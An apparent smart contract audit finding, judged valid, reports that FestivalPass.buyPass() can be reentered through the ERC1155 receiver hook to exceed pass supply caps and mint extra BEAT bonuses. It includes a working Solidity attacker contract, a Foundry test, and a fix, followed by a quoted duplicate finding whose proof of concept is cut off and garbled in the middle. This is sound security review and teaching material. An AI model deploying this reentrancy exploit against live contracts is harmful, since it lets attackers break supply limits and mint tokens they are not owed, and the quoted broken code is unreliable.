Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

`buyPass()` is reentrancy-vulnerable via ERC1155 receiver hooks, allowing cap bypass and repeated BEAT bonus minting

Root + Impact

Description

`buyPass()` is expected to enforce the configured supply cap for each pass tier and mint at most one welcome bonus per successful purchase. In the normal flow, the function should validate payment and remaining supply, mint exactly one pass, increment the sold supply counter, and then finalize the purchase.
The issue is that `buyPass()` performs an external interaction through ERC1155 `_mint()` before updating `passSupply[collectionId]`. When the buyer is a contract, `_mint()` invokes `onERC1155Received()` on the receiver, and that callback can reenter `buyPass()` while the old `passSupply` value is still in storage. Because the cap check is repeated against stale state, the attacker can buy the same tier multiple times inside a single transaction, bypass the intended max supply, and mint the VIP/BACKSTAGE BEAT signup bonus multiple times.
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, ""); // @> external receiver hook can reenter buyPass()
++passSupply[collectionId]; // @> effect happens too late
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
}

Risk

Likelihood:

The issue is reachable whenever passes are purchased by a smart contract implementing `onERC1155Received()`, which is standard ERC1155 behavior.
The vulnerable reentry window occurs during every successful pass purchase because `_mint()` performs the receiver acceptance callback before `passSupply` is incremented.

Impact:

Pass tier caps can be exceeded, breaking the scarcity guarantees described by the protocol.
Attackers can receive extra VIP/BACKSTAGE welcome bonuses by reentering multiple times in one purchase flow, inflating BEAT supply beyond intended amounts.

Proof of Concept

```solidity
contract ReenterBuyer is IERC1155Receiver {
FestivalPass public festival;
uint256 public price;
uint256 public passId;
bool internal reentered;
constructor(FestivalPass _festival) payable {
festival = _festival;
}
function attack(uint256 _passId, uint256 _price) external {
passId = _passId;
price = _price;
festival.buyPass{value: _price}(_passId);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external returns (bytes4) {
if (!reentered) {
reentered = true;
festival.buyPass{value: price}(passId);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
}
function test_ReenterBuyPass_BypassesVipCap() public {
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.prank(organizer);
festivalPass.configurePass(2, 0.1 ether, 1); // VIP max supply = 1
ReenterBuyer attacker = new ReenterBuyer{value: 0.2 ether}(festivalPass);
attacker.attack(2, 0.1 ether);
assertEq(festivalPass.balanceOf(address(attacker), 2), 2);
assertEq(festivalPass.passSupply(2), 2);
assertEq(festivalPass.passMaxSupply(2), 1);
assertEq(beatToken.balanceOf(address(attacker)), 10e18);
}
```
This proves that a tier with max supply `1` can still end with:
- `2` VIP passes minted to the attacker
- `passSupply[VIP] == 2`
- `10e18` BEAT minted instead of the intended `5e18

Recommended Mitigation

Move all state-changing effects ahead of any external interaction, or add a reentrancy guard around `buyPass()`.
```diff
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
}
```
For defense in depth, `buyPass()` can also be protected with `nonReentrant`.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!